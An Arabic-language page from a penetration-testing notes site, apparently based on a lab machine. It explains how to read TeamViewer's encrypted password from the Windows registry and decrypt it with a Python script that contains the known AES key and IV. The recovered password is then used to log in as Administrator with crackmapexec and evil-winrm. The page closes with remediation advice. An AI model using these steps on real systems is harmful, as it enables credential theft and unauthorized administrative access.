> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/vulnerable-services-and-processes/teamviewer-registry-password.md).

# كلمة مرور TeamViewer في السجل

تخزّن بعض إصدارات TeamViewer الأقدم كلمة مرور مشفّرة في سجلّ Windows. الهدف هو تحديد الإصدار، واستعادة قيمة AES، وفك تشفيرها، والتحقق مما إذا كانت بيانات الاعتماد قابلة لإعادة الاستخدام.

## تحديد العملية

```powershell
tasklist /svc
```

<figure><img src="/files/15d87f707df160411de0f072b88941fa97b7bc07" alt="TeamViewer process identified in tasklist output"><figcaption></figcaption></figure>

## تحديد مفتاح السجل

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer/Version7
(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="/files/5adc671c52e7b2c9345abea2fc1dd9110d9cf87b" alt="TeamViewer SecurityPasswordAES registry value"><figcaption></figcaption></figure>

## فك تشفير القيمة

```python
from Crypto.Cipher import AES

IV = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])

decipher = AES.new(key, AES.MODE_CBC, IV)
print(decipher.decrypt(ciphertext).decode())
```

<figure><img src="/files/7063d203aabb5a23f5efaa9a284c561d0dd361a6" alt="Decrypted TeamViewer password"><figcaption></figcaption></figure>

## التحقق من الوصول

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '<recovered_password>'
```

<figure><img src="/files/c535fc240ea1fe537947fb8c0401d3afedc14039" alt="SMB credential validation with CrackMapExec"><figcaption></figcaption></figure>

```bash
evil-winrm -i 10.10.10.180 -u 'Administrator' -p '<recovered_password>'
```

<figure><img src="/files/52ff87040a25ac5f9060f988f345cff7a9f056ef" alt="Evil-WinRM login with recovered TeamViewer password"><figcaption></figcaption></figure>

## النقاط الرئيسية

* حدّد إصدار TeamViewer الدقيق قبل تطبيق آلية فك التشفير المعروفة.
* تحقّق من السجل بحثًا عن أسرار التطبيقات التابعة لجهات خارجية والمستمرّة.
* عالج المشكلة بتحديث TeamViewer وتجنّب كلمات مرور الوصول غير المراقَب القابلة لإعادة الاستخدام.


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